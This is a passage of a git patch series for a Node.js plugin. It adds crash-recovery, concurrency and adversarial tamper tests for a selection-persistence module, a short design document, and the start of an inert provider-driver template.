{ assignmentCount: 8, runId: 'p27-eight-lane-run' }); +}); + +test('persist crash before commit leaves submitted@0; restart creates the batch once', async () => { + const inputs = makePersistenceInputs(); + const root = await makePrivateRoot('r1-p27-crash-before-'); + try { + const anchor = await initializeAggregateRunAnchorRoot(root); + await anchor.submit(makeSubmitInput(inputs)); + const wrapped = wrapAnchor(anchor, { + beforeCommitRequest: async () => { + throw new RunContractV1Error('injected_before_commit', 'commit', 'injected before persist'); + }, + }); + const injected = await errorOf(() => persistSelectionQuestionBatch({ anchor: wrapped, ...inputs })); + assert.equal(injected.code, 'injected_before_commit'); + const coordination = await anchor.getCoordination(P27_RUN_ID); + assert.equal(coordination.phase, 'submitted'); + assert.equal(coordination.revision, 0); + + const reopened = await openAggregateRunAnchor(root); + const created = await persistSelectionQuestionBatch({ anchor: reopened, ...inputs }); + assert.equal(created.created, true); + assert.equal(created.disposition, 'awaiting_selection'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + From be10d7bc8a415d38841e7461025c003a1d6242e9 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 03:56:11 +0000 Subject: [PATCH 046/151] feat(run): accept one exactly-once structured reply Accept one complete structured reply bound to the exact run, request, and digest, persist it through commitSelectionResolution, and require the accepted R25B resolution_ready@2 binding. Identical replay is idempotent; concurrent and restart paths converge on one durable record. --- .../r1-selection-persistence-worker.mjs | 68 +++++ .../test/r1-selection-persistence.test.mjs | 265 ++++++++++++++++++ 2 files changed, 333 insertions(+) create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-worker.mjs diff --git a/plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-worker.mjs b/plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-worker.mjs new file mode 100644 index 0000000..d8a1ea5 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-selection-persistence-worker.mjs @@ -0,0 +1,68 @@ +// Cross-process P27 worker. Usage: +// node r1-selection-persistence-worker.mjs [runId] [assignmentCount] +// mode is persist | persist-stale | reply | reply-alt +// Prints exactly one JSON line: { ok, created, code? }. + +import { openAggregateRunAnchor } from '../../mcp/v3/aggregate-run-anchor.mjs'; +import { + acceptSelectionReply, + persistSelectionQuestionBatch, +} from '../../mcp/v3/selection-persistence.mjs'; +import { + P27_RUN_ID, + completeAnswers, + derivedRequest, + makePersistenceInputs, + structuredReply, +} from './r1-selection-persistence-fixtures.mjs'; + +const [root, mode, runIdArg, rawCount] = process.argv.slice(2); +const runId = runIdArg || P27_RUN_ID; +const assignmentCount = Number.parseInt(rawCount ?? '1', 10); + +function emit(value) { + process.stdout.write(`${JSON.stringify(value)}\n`); +} + +try { + const anchor = await openAggregateRunAnchor(root); + const inputs = makePersistenceInputs({ runId, assignmentCount }); + let result; + if (mode === 'persist') { + result = await persistSelectionQuestionBatch({ anchor, ...inputs }); + } else if (mode === 'persist-stale') { + const drifted = structuredClone(inputs.availability); + drifted.providers.grok.models = ['grok-4', 'grok-4-fast']; + result = await persistSelectionQuestionBatch({ + anchor, + ...inputs, + availability: drifted, + }); + } else if (mode === 'reply' || mode === 'reply-alt') { + const derived = derivedRequest(inputs); + const answers = mode === 'reply-alt' + ? completeAnswers(derived.request, 'dsh', 'stealth/ox-alpha') + : completeAnswers(derived.request, 'grok', 'grok-4'); + result = await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, answers), + }); + } else { + throw new Error('unknown-mode'); + } + emit({ + ok: true, + created: result.created === true, + disposition: result.disposition ?? null, + digest: result.digest ?? null, + }); +} catch (error) { + emit({ + ok: false, + created: false, + code: error?.code ?? 'unknown', + path: error?.path ?? '', + }); + process.exitCode = 1; +} diff --git a/plugins/codex-co-engineer/test/r1-selection-persistence.test.mjs b/plugins/codex-co-engineer/test/r1-selection-persistence.test.mjs index 9fba63e..5a6340e 100644 --- a/plugins/codex-co-engineer/test/r1-selection-persistence.test.mjs +++ b/plugins/codex-co-engineer/test/r1-selection-persistence.test.mjs @@ -1,7 +1,9 @@ import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; import { lstat, readFile, readdir, rm } from 'node:fs/promises'; import path from 'node:path'; import test from 'node:test'; +import { fileURLToPath } from 'node:url'; import { initializeAggregateRunAnchorRoot, @@ -11,18 +13,24 @@ import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; import { SELECTION_QUESTION_BATCH_RECEIPT_SCHEMA_ID, + SELECTION_REPLY_RECEIPT_SCHEMA_ID, + acceptSelectionReply, persistSelectionQuestionBatch, } from '../mcp/v3/selection-persistence.mjs'; import { P27_RUN_ID, + completeAnswers, derivedRequest, makePersistenceInputs, makePrivateRoot, makeSubmitInput, + structuredReply, wrapAnchor, withSubmittedAnchor, } from './fixtures/r1-selection-persistence-fixtures.mjs'; +const WORKER = fileURLToPath(new URL('./fixtures/r1-selection-persistence-worker.mjs', import.meta.url)); + function errorOf(action) { return Promise.resolve() .then(action) @@ -212,3 +220,260 @@ test('persist crash before commit leaves submitted@0; restart creates the batch } }); +function spawnWorker({ root, mode, runId = P27_RUN_ID, assignmentCount = 1 }) { + const child = spawn(process.execPath, [WORKER, root, mode, runId, String(assignmentCount)], { + stdio: ['ignore', 'pipe', 'pipe'], + }); + let stdout = ''; + let stderr = ''; + child.stdout.on('data', (chunk) => { stdout += chunk; }); + child.stderr.on('data', (chunk) => { stderr += chunk; }); + const done = new Promise((resolve, reject) => { + child.on('error', reject); + child.on('close', () => { + try { + const line = stdout.trim().split('\n').filter(Boolean).at(-1); + assert.ok(line, `worker produced no JSON (${stderr.trim()})`); + resolve(JSON.parse(line)); + } catch (error) { + reject(error); + } + }); + }); + return { done, child }; +} + +test('acceptSelectionReply persists one complete reply and binds resolution_ready@2', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + const receipt = await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request), + }); + assert.equal(receipt.schema, SELECTION_REPLY_RECEIPT_SCHEMA_ID); + assert.equal(receipt.created, true); + assert.equal(receipt.disposition, 'resolution_ready'); + assert.equal(receipt.coordination.revision, 2); + assert.equal(receipt.plan.complete, true); + assert.equal(receipt.plan.selection_request, null); + assert.equal(receipt.aggregate_binding.phase, 'resolution_ready'); + assert.equal(receipt.aggregate_binding.revision, 2); + assert.equal(receipt.digest, derived.identity.digest); + assertFrozenTree(receipt); + assertNoLeak(receipt); + assert.equal(receipt.plan.assignments[0].provider, 'grok'); + }); +}); + +test('exact reply replay is created false and returns the same completed plan and binding', async () => { + await withSubmittedAnchor(async ({ root, anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + const reply = structuredReply(derived.request); + const first = await acceptSelectionReply({ anchor, ...inputs, reply }); + const replyStat = await lstat(path.join(root, 'runs', P27_RUN_ID, 'selection-reply.record.json')); + const planStat = await lstat(path.join(root, 'runs', P27_RUN_ID, 'resolved-plan.record.json')); + + const replay = await acceptSelectionReply({ + anchor, + ...structuredClone(inputs), + reply: structuredClone(reply), + }); + assert.equal(replay.created, false); + assert.equal(replay.disposition, 'resolution_ready'); + assert.equal(canonicalJsonStringify(replay.plan), canonicalJsonStringify(first.plan)); + assert.equal(canonicalJsonStringify(replay.aggregate_binding), + canonicalJsonStringify(first.aggregate_binding)); + assert.equal(replay.coordination.state_digest, first.coordination.state_digest); + assert.equal((await lstat(path.join(root, 'runs', P27_RUN_ID, 'selection-reply.record.json'))).ino, + replyStat.ino); + assert.equal((await lstat(path.join(root, 'runs', P27_RUN_ID, 'resolved-plan.record.json'))).ino, + planStat.ino); + }); +}); + +test('accept does not create a missing question and rejects a different reply after settlement', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + const derived = derivedRequest(inputs); + const missing = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request), + })); + assert.equal(missing.code, 'selection_not_awaiting'); + const coordination = await anchor.getCoordination(P27_RUN_ID); + assert.equal(coordination.phase, 'submitted'); + assert.equal(coordination.selection_request_binding, null); + + await persistSelectionQuestionBatch({ anchor, ...inputs }); + await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request), + }); + const settled = await anchor.getCoordination(P27_RUN_ID); + const different = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, completeAnswers(derived.request, 'dsh', 'stealth/ox-alpha')), + })); + assert.ok(['aggregate_run_revision_conflict', 'stale_selection_request'].includes(different.code), + different.code); + const after = await anchor.getCoordination(P27_RUN_ID); + assert.equal(after.state_digest, settled.state_digest); + }); +}); + +test('partial extra duplicate and scoped-invalid answers fail closed with no mutation', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + const before = await anchor.getCoordination(P27_RUN_ID); + + const partial = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, []), + })); + assert.equal(partial.code, 'selection_answers_rejected'); + + const extra = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, [ + ...completeAnswers(derived.request), + { assignment_id: 'lane-9', provider: 'grok', model: 'grok-4' }, + ]), + })); + assert.equal(extra.code, 'selection_answers_rejected'); + + const duplicate = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, [ + { assignment_id: 'lane-0', provider: 'grok', model: 'grok-4' }, + { assignment_id: 'lane-0', provider: 'dsh', model: 'stealth/ox-alpha' }, + ]), + })); + assert.equal(duplicate.code, 'selection_answers_rejected'); + + const scoped = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, [ + { assignment_id: 'lane-0', provider: 'unknown', model: 'grok-4' }, + ]), + })); + assert.equal(scoped.code, 'selection_answers_rejected'); + + const after = await anchor.getCoordination(P27_RUN_ID); + assert.equal(after.state_digest, before.state_digest); + assert.equal(after.phase, 'awaiting_selection'); + }); +}); + +test('crash after each commit plus reopen uses only durable R24A records', async () => { + const inputs = makePersistenceInputs(); + const root = await makePrivateRoot('r1-p27-crash-after-'); + try { + const live = await initializeAggregateRunAnchorRoot(root); + await live.submit(makeSubmitInput(inputs)); + const afterRequest = wrapAnchor(live, { + afterCommitRequest: async () => { + throw new RunContractV1Error('injected_after_request', 'commit', 'injected after request'); + }, + }); + const requestInjected = await errorOf(() => persistSelectionQuestionBatch({ + anchor: afterRequest, + ...inputs, + })); + assert.equal(requestInjected.code, 'injected_after_request'); + + const reopened = await openAggregateRunAnchor(root); + const replayed = await persistSelectionQuestionBatch({ anchor: reopened, ...inputs }); + assert.equal(replayed.created, false); + assert.equal(replayed.disposition, 'awaiting_selection'); + + const derived = derivedRequest(inputs); + const afterResolution = wrapAnchor(reopened, { + afterCommitResolution: async () => { + throw new RunContractV1Error('injected_after_resolution', 'commit', 'injected after resolution'); + }, + }); + const resolutionInjected = await errorOf(() => acceptSelectionReply({ + anchor: afterResolution, + ...inputs, + reply: structuredReply(derived.request), + })); + assert.equal(resolutionInjected.code, 'injected_after_resolution'); + + const settled = await openAggregateRunAnchor(root); + const completed = await acceptSelectionReply({ + anchor: settled, + ...inputs, + reply: structuredReply(derived.request), + }); + assert.equal(completed.created, false); + assert.equal(completed.disposition, 'resolution_ready'); + assert.equal(completed.aggregate_binding.revision, 2); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('concurrent identical persist and reply requests converge; different replies have one winner', async () => { + const inputs = makePersistenceInputs({ runId: 'p27-concurrent-run' }); + const root = await makePrivateRoot('r1-p27-conc-'); + try { + const anchor = await initializeAggregateRunAnchorRoot(root); + await anchor.submit(makeSubmitInput(inputs)); + + const persistWorkers = [ + spawnWorker({ root, mode: 'persist', runId: 'p27-concurrent-run' }), + spawnWorker({ root, mode: 'persist', runId: 'p27-concurrent-run' }), + ]; + const persistResults = await Promise.all(persistWorkers.map((worker) => worker.done)); + assert.equal(persistResults.filter((item) => item.ok).length, 2); + assert.equal(persistResults.filter((item) => item.created).length, 1); + assert.equal(persistResults.filter((item) => item.ok && item.created === false).length, 1); + + const sameReply = [ + spawnWorker({ root, mode: 'reply', runId: 'p27-concurrent-run' }), + spawnWorker({ root, mode: 'reply', runId: 'p27-concurrent-run' }), + ]; + const sameResults = await Promise.all(sameReply.map((worker) => worker.done)); + assert.equal(sameResults.filter((item) => item.ok).length, 2); + assert.equal(sameResults.filter((item) => item.created).length, 1); + } finally { + await rm(root, { recursive: true, force: true }); + } + + const mixedRoot = await makePrivateRoot('r1-p27-conc-diff-'); + const mixedInputs = makePersistenceInputs({ runId: 'p27-concurrent-diff' }); + try { + const mixedAnchor = await initializeAggregateRunAnchorRoot(mixedRoot); + await mixedAnchor.submit(makeSubmitInput(mixedInputs)); + await persistSelectionQuestionBatch({ anchor: mixedAnchor, ...mixedInputs }); + const mixed = await Promise.all([ + spawnWorker({ root: mixedRoot, mode: 'reply', runId: 'p27-concurrent-diff' }).done, + spawnWorker({ root: mixedRoot, mode: 'reply-alt', runId: 'p27-concurrent-diff' }).done, + ]); + const winners = mixed.filter((item) => item.ok); + const losers = mixed.filter((item) => !item.ok); + assert.equal(winners.length, 1); + assert.equal(losers.length, 1); + assert.equal(winners[0].created, true); + assert.ok([ + 'aggregate_run_revision_conflict', + 'aggregate_run_binding_conflict', + 'stale_selection_request', + ].includes(losers[0].code), losers[0].code); + const coordination = await mixedAnchor.getCoordination('p27-concurrent-diff'); + assert.equal(coordination.phase, 'resolution_ready'); + assert.equal(coordination.revision, 2); + } finally { + await rm(mixedRoot, { recursive: true, force: true }); + } +}); From c9204b2b3ba17ec26ca6837cff48fd11088fa10d Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 03:56:16 +0000 Subject: [PATCH 047/151] test(run): cover stale duplicate and partial replies Add hostile P27 coverage for proxies, accessors, tamper, scope violations, stale snapshots, crash injection, and import isolation, plus dedicated selection-persistence documentation. --- docs/selection-persistence.md | 80 +++++ ...selection-persistence-adversarial.test.mjs | 280 ++++++++++++++++++ 2 files changed, 360 insertions(+) create mode 100644 docs/selection-persistence.md create mode 100644 plugins/codex-co-engineer/test/r1-selection-persistence-adversarial.test.mjs diff --git a/docs/selection-persistence.md b/docs/selection-persistence.md new file mode 100644 index 0000000..459a3da --- /dev/null +++ b/docs/selection-persistence.md @@ -0,0 +1,80 @@ +# Ask-once selection persistence (P27) + +P27 is the closed pre-dispatch facade that persists one provider/model +selection question batch and accepts one complete structured reply. It sits +on accepted P05 resolution, the accepted R24A aggregate run anchor, and the +accepted R25B aggregate binding. It does not launch providers, open +workspaces, append P25 journal events, or emit P33 `AttentionBatchV1`. + +## Boundary + +- Inputs are a trusted `openAggregateRunAnchor(...)` handle plus strict + direct-JSON immutable `manifest`, optional `profiles`, `availability`, + `capabilities`, and `RunIdentityV1`. +- The run must already exist at R24A `submitted@0`. P27 never submits a + run and never calls `commitResolvedPlan`. +- Direct-plan / no-question runs fail with typed `no_selection_required`. +- The derived `SelectionRequestV1` is the only persisted question. Assignment + prompt prose is not copied into storage. The returned question is + presentation data for Codex, not a runtime attention event. +- Crash and restart recompute P05 from the same immutable inputs and reuse + only durable R24A records. + +## Persist one question batch + +`persistSelectionQuestionBatch(options)`: + +1. Derives the exact P05 plan through `resolveRunSelectionV1`. +2. Requires an incomplete plan with one nonempty `SelectionRequestV1` of at + most eight questions, then validates it with `validateSelectionRequestV1` + / `selectionRequestIdentity`. +3. Checks the durable run identity against the supplied identity. +4. Persists exactly that record at `submitted@0` through + `commitSelectionRequest` with the exact `run_id` / `request_id` / digest + triple. + +The first call returns `created: true`. An exact replay returns +`created: false` with a byte- and digest-identical question batch and no +revision growth. A different or stale manifest, snapshot, or request at the +same run fails closed. P27 never generates a second batch. + +## Accept one structured reply + +`acceptSelectionReply(options)`: + +1. Re-derives the same outstanding request from the immutable P05 inputs. +2. Reads durable coordination first. The question must already be + `awaiting_selection@1` with that exact binding; the reply path never + creates the question. +3. Validates a dense plain JSON answer array: exactly one answer per + question, no missing, extra, duplicate, or partial rows, and exact + provider/model scope against the currently supplied availability and + capability snapshots. +4. Re-resolves through `resolveSelectionAnswersV1` and requires a complete + plan with unchanged snapshot digests. +5. Persists exactly one reply plus resolution through + `commitSelectionResolution` at expected revision 1. + +An identical reply replay is `created: false` and returns the same completed +in-memory plan and aggregate binding. Any different, stale, partial, or +duplicate reply during or after settlement fails closed with no mutation. + +## Receipt + +After a successful or identical resolution P27 calls accepted R25B +`bindAggregateResolution` and requires `resolution_ready` revision 2 before +returning. The receipt is detached and deeply frozen. It carries run and +request identity, digests, `disposition`, `created`, the completed in-memory +plan, and the aggregate binding. It never includes raw filesystem paths or +secrets. + +Concurrent identical persist or reply calls converge to one durable record. +Concurrent different replies yield one winner and a deterministic typed +loser. + +## Non-goals + +- No provider, supervisor, workspace, or server transport. +- No P25 event kind, reducer, state, or cursor change. +- No P33 attention batch, sidecar, root adoption, or migration. +- No scheduler or public MCP API change. diff --git a/plugins/codex-co-engineer/test/r1-selection-persistence-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-selection-persistence-adversarial.test.mjs new file mode 100644 index 0000000..651c33b --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-selection-persistence-adversarial.test.mjs @@ -0,0 +1,280 @@ +import assert from 'node:assert/strict'; +import { readFile, rename, rm, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; +import { types as utilTypes } from 'node:util'; + +import { canonicalJsonStringify } from '../mcp/v3/identity.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + acceptSelectionReply, + persistSelectionQuestionBatch, +} from '../mcp/v3/selection-persistence.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + P27_RUN_ID, + completeAnswers, + derivedRequest, + structuredReply, + withSubmittedAnchor, + wrapAnchor, + writer, +} from './fixtures/r1-selection-persistence-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertNoSecret(error) { + assert.doesNotMatch(error.message, /ATTACKER-SECRET/u); + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(JSON.stringify(error), /ATTACKER-SECRET/u); +} + +test('proxies accessors symbols sparse arrays and cycles fail closed with zero traps', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + const optionsProxy = countingProxy({ anchor, ...inputs }); + const proxied = await errorOf(() => persistSelectionQuestionBatch(optionsProxy.proxy)); + assert.equal(proxied.code, 'proxy_denied'); + assert.equal(trapTotal(optionsProxy.counts), 0); + + const availabilityProxy = countingProxy(inputs.availability); + const availabilityDenied = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...inputs, + availability: availabilityProxy.proxy, + })); + assert.equal(availabilityDenied.code, 'proxy_denied'); + assert.equal(trapTotal(availabilityProxy.counts), 0); + + let reads = 0; + const accessed = structuredClone(inputs.manifest); + Object.defineProperty(accessed, 'run_id', { + enumerable: true, + get() { + reads += 1; + return 'ATTACKER-SECRET'; + }, + }); + const accessor = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...inputs, + manifest: accessed, + })); + assert.equal(accessor.code, 'accessor_property_denied'); + assert.equal(reads, 0); + assertNoSecret(accessor); + + const symbolic = { ...inputs, [Symbol('secret')]: 'ATTACKER-SECRET' }; + const symbolError = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...symbolic, + })); + assert.ok(['unknown_key', 'symbol_key_denied'].includes(symbolError.code), symbolError.code); + + const cyclic = structuredClone(inputs.manifest); + cyclic.self = cyclic; + const cycle = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...inputs, + manifest: cyclic, + })); + assert.equal(cycle.code, 'aliased_reference_denied'); + + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + const sparse = []; + sparse[1] = { assignment_id: 'lane-0', provider: 'grok', model: 'grok-4' }; + const sparseError = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, sparse), + })); + assert.ok([ + 'non_enumerable_property_denied', + 'invalid_type', + 'invalid_array', + 'selection_answers_rejected', + 'invalid_json_type', + ].includes(sparseError.code), sparseError.code); + + const { proxy, revoke } = Proxy.revocable(inputs.manifest, { + get() { throw new Error('revoked get'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const revoked = await errorOf(() => persistSelectionQuestionBatch({ + anchor, + ...inputs, + manifest: proxy, + })); + assert.equal(revoked.code, 'proxy_denied'); + }); +}); + +test('oversized answers stale snapshots and model_only scope violations fail closed', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + const before = await anchor.getCoordination(P27_RUN_ID); + + const oversized = completeAnswers(derived.request); + for (let index = 0; index < 64; index += 1) { + oversized.push({ + assignment_id: `overflow-${index}`, + provider: 'grok', + model: 'grok-4', + }); + } + const overflow = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, oversized), + })); + assert.equal(overflow.code, 'selection_answers_rejected'); + + const staleAvailability = structuredClone(inputs.availability); + staleAvailability.providers.dsh.status = 'unavailable'; + const stale = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + availability: staleAvailability, + reply: structuredReply(derived.request), + })); + assert.ok(['stale_selection_request', 'selection_snapshot_mismatch'].includes(stale.code), + stale.code); + + const after = await anchor.getCoordination(P27_RUN_ID); + assert.equal(after.state_digest, before.state_digest); + }); + + await withSubmittedAnchor(async ({ anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + assert.equal(derived.request.questions[0].answer_scope, 'model_only'); + const withProvider = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, [ + { assignment_id: 'lane-0', provider: 'grok', model: 'grok-4' }, + ]), + })); + assert.equal(withProvider.code, 'selection_answers_rejected'); + const ok = await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request, [ + { assignment_id: 'lane-0', model: 'grok-4' }, + ]), + }); + assert.equal(ok.created, true); + assert.equal(ok.plan.assignments[0].provider, 'grok'); + }, { + runId: 'p27-model-only-run', + assignments: [writer('lane-0', ['src/lane-0/**'], { provider: 'grok', model: 'not-offered' })], + }); +}); + +test('tampered request and reply records are detected by the accepted R24A anchor', async () => { + await withSubmittedAnchor(async ({ root, anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const requestPath = path.join(root, 'runs', P27_RUN_ID, 'selection-request.record.json'); + const honest = await readFile(requestPath); + const parsed = JSON.parse(honest.toString('utf8').trim()); + parsed.objective = 'ATTACKER-SECRET'; + await writeFile(requestPath, `${canonicalJsonStringify(parsed)}\n`); + const tampered = await errorOf(() => persistSelectionQuestionBatch({ anchor, ...inputs })); + assert.ok([ + 'aggregate_run_record_corruption', + 'unknown_selection_request_key', + 'invalid_selection_request', + ].includes(tampered.code), tampered.code); + assertNoSecret(tampered); + await writeFile(requestPath, honest); + + const derived = derivedRequest(inputs); + await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request), + }); + const replyPath = path.join(root, 'runs', P27_RUN_ID, 'selection-reply.record.json'); + const honestReply = await readFile(replyPath); + const replyParsed = JSON.parse(honestReply.toString('utf8').trim()); + replyParsed.answers[0].model = 'ATTACKER-SECRET'; + await writeFile(replyPath, `${canonicalJsonStringify(replyParsed)}\n`); + const replyTamper = await errorOf(() => acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request), + })); + assert.ok(typeof replyTamper.code === 'string'); + assertNoSecret(replyTamper); + }); +}); + +test('run and root swaps fail closed without leaking the foreign path', async () => { + await withSubmittedAnchor(async ({ root, anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const moved = `${root}.moved`; + await rename(root, moved); + const swapped = await errorOf(() => persistSelectionQuestionBatch({ anchor, ...inputs })); + assert.ok(typeof swapped.code === 'string'); + assertNoSecret(swapped); + assert.doesNotMatch(swapped.message, new RegExp(moved.replace(/[.*+?^${}()|[\]\\]/gu, '\\$&'), 'u')); + await rename(moved, root); + }); +}); + +test('failure injection before reply commit plus restart does not create a second batch', async () => { + await withSubmittedAnchor(async ({ anchor, inputs }) => { + await persistSelectionQuestionBatch({ anchor, ...inputs }); + const derived = derivedRequest(inputs); + const wrapped = wrapAnchor(anchor, { + beforeCommitResolution: async () => { + throw new RunContractV1Error('injected_before_resolution', 'commit', 'injected before reply'); + }, + }); + const injected = await errorOf(() => acceptSelectionReply({ + anchor: wrapped, + ...inputs, + reply: structuredReply(derived.request), + })); + assert.equal(injected.code, 'injected_before_resolution'); + const coordination = await anchor.getCoordination(P27_RUN_ID); + assert.equal(coordination.phase, 'awaiting_selection'); + assert.equal(coordination.revision, 1); + const completed = await acceptSelectionReply({ + anchor, + ...inputs, + reply: structuredReply(derived.request), + }); + assert.equal(completed.created, true); + assert.equal(completed.disposition, 'resolution_ready'); + }); +}); + +test('the facade imports no provider workspace supervisor server or dispatch surfaces', async () => { + const source = await readFile( + fileURLToPath(new URL('../mcp/v3/selection-persistence.mjs', import.meta.url)), + 'utf8', + ); + assert.doesNotMatch(source, /from '\.\/supervisor\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/server\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/acp-worker\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/cursor-cloud-worker\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/task-store\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/run-store\.mjs'/u); + assert.doesNotMatch(source, /from '\.\/run-reducer\.mjs'/u); + assert.doesNotMatch(source, /commitResolvedPlan\(/u); + assert.match(source, /commitSelectionRequest/u); + assert.match(source, /commitSelectionResolution/u); + assert.match(source, /bindAggregateResolution/u); + assert.match(source, /no_selection_required/u); +}); From 02b46963862a193c36d2e55a350748957a924608 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 04:35:54 +0000 Subject: [PATCH 048/151] feat(provider): add minimal driver template Add an inert ProviderDriverV1 scaffold that imports the accepted P17 public contract only. Identities are caller-supplied, frozen, and never substituted. Unsupported operations fail closed and no transport is configured. --- .../mcp/v3/future-harness.mjs | 20 + .../mcp/v3/provider-driver-template.mjs | 407 ++++++++++++++++++ 2 files changed, 427 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/future-harness.mjs create mode 100644 plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/future-harness.mjs b/plugins/codex-co-engineer/mcp/v3/future-harness.mjs new file mode 100644 index 0000000..bbb626d --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/future-harness.mjs @@ -0,0 +1,20 @@ +// P22 Future-harness public index. +// +// Re-exports the inert ProviderDriverV1 template/scaffold. This file is not +// a P17 registry, supervisor cutover, or fifth provider. Future harnesses +// import this surface or the template module directly. + +export { + FUTURE_HARNESS_BRANCH_PATTERN, + FUTURE_HARNESS_FAIL_CLOSED_FEATURES, + FUTURE_HARNESS_IDENTITY_KEYS, + FUTURE_HARNESS_REQUEST_ID_PATTERN, + FUTURE_HARNESS_TEMPLATE_OPTION_KEYS, + FUTURE_HARNESS_TEMPLATE_SCHEMA_ID, + FUTURE_HARNESS_TEMPLATE_VERSION, + bindFutureHarnessDriverTemplateV1, + createFutureHarnessDriverTemplateV1, + describeFutureHarnessDriverTemplateV1, + inspectFutureHarnessTemplateBindingV1, + validateFutureHarnessIdentityV1, +} from './provider-driver-template.mjs'; diff --git a/plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs b/plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs new file mode 100644 index 0000000..4f4a3cd --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/provider-driver-template.mjs @@ -0,0 +1,407 @@ +// Minimal inert ProviderDriverV1 template/scaffold (P22). +// +// Imports the accepted P17 public contract only. This is not a fifth +// provider, transport, credential, process, filesystem, remote, fallback, +// retry, or registry surface. Every identity is caller-supplied, validated +// through P17, frozen, and never substituted. Unsupported operations fail +// closed. Launch never sends a prompt. + +import { types as utilTypes } from 'node:util'; + +import { + capturedCreate, + capturedDefineProperty, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedTest, + isKnownProvider, + isModelId, +} from './grammar.mjs'; +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_DISPOSITIONS, + DRIVER_FEATURE_VALUES, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_DRIVER_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertProviderDriverV1, + bindProviderDriverV1, + describeProviderDriverContractV1, + validateDriverCancelRequestV1, + validateDriverCancelResultV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverLaunchResultV1, + validateDriverPreflightRequestV1, + validateDriverPreflightResultV1, + validateDriverReconcileRequestV1, + validateDriverReconcileResultV1, +} from './provider-driver.mjs'; +import { + ASSIGNMENT_ID_PATTERN, + RUN_ID_PATTERN, + SHA40_PATTERN, + assertAllowedKeys, +} from 